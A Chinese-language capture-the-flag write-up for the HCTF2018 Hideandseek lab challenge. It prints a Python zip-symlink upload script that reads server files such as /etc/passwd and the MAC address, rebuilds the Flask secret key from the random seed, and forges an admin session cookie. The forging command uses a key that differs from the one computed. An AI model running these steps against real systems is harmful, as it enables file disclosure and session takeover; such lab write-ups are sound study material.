[HCTF2018]Hideandseek
登陆进去是一个文件上传的页面,但是是上传zip文件,上传文件之后好像会解析内容,进行文件读取,可以想一下zip软链接,用/etc/passwd试一下
1 2 ln -s /etc/passwd 321 zip -y 111.zip 321
上传生成的zip文件得到回显
进行部分修改后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import osimport requestsimport sysdef make_zip (): os.system('ln -s ' + sys.argv[2 ] + ' test_exp' ) os.system('zip -y test_exp.zip test_exp' ) def run (): make_zip() res = requests.post(sys.argv[1 ], files={'the_file' : open ('./test_exp.zip' , 'rb' )}) print (res.text) os.system('rm -rf test_exp' ) os.system('rm -rf test_exp.zip' ) if __name__ == '__main__' : run()
运行命令:
运行命令:
1 python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/uwsgi.ini
得到内容:
可以看到其源码应是/app/main.py,使用EXP尝试读取源码:
1 python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/main.py
得到其源码:
1 2 3 4 5 6 7 8 9 10 11 from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello World from Flask in a uWSGI Nginx Docker container with \ Python 3.6 (default)" if __name__ == "__main__": app.run(host='0.0.0.0', debug=True, port=80)
开始有些疑惑,但在查阅了大佬wp后,发现应该是这道题小bug,原题中的main.py文件应在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py路径下,而本题也是,使用写好的EXP读取:
1 python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
得到回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='0.0.0.0', debug=True, port=10008)
这次读取的才是真正的main.py源码 不对全部的源码进行分析了,直接查找所需的SECRET_KEY的值发现:
1 app.config['SECRET_KEY'] = str(random.random()*100)
其对SECRET_KEY做了random随机处理,但random生成的随机数都是伪随机数,有一定的规律。 发现了其中:
1 random.seed(uuid.getnode())
random.seed()方法改变随机数生成器的种子,Python之random.seed()用法 uuid.getnode()方法以48位正整数形式获取硬件地址,也就是服务器的MAC地址
若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address文件中,读取该文件:
1 python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /sys/class/net/eth0/address
得到其十六进制所表示的MAC地址:
通过Python3将其转换为十进制:
1 2 3 4 5 6 7 8 mac = "02:42:ac:10:8e:10" .split(":" ) mac_int = [int (i, 16 ) for i in mac] mac_bin = [bin (i).replace('0b' , '' ).zfill(8 ) for i in mac_int] mac_dec = int ("" .join(mac_bin), 2 ) print (mac_dec)
运行运行 种子值得到2485377863184,编写Python构造SECRET_KEY的值:
1 2 3 4 5 import randomrandom.seed(2485377863184 ) SECRET_KEY = str (random.random() * 100 ) print (SECRET_KEY)
运行 运行后,得到SECRET_KEY的值为:74.28774432740572,使用flask-session-cookie-manager构造Session:
1 python3 flask_session_cookie_manager3.py encode -s "50.98160837138328" -t "{'username': 'admin'}"
运行后,得到加密的Session:
1 eyJ1c2VybmFtZSI6ImFkbWluIn0.ZzndHQ.kI_BgtAh87MUz4vU4W8o7oyoVu8
在F12中的Application中替换:
刷新后,成功以admin身份登陆,得到flag:
参考链接:https://blog.csdn.net/weixin_44037296/article/details/112475051
Author:
odiws
Permalink:
http://odiws.github.io/2024/11/17/HCTF2018-Hideandseek/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?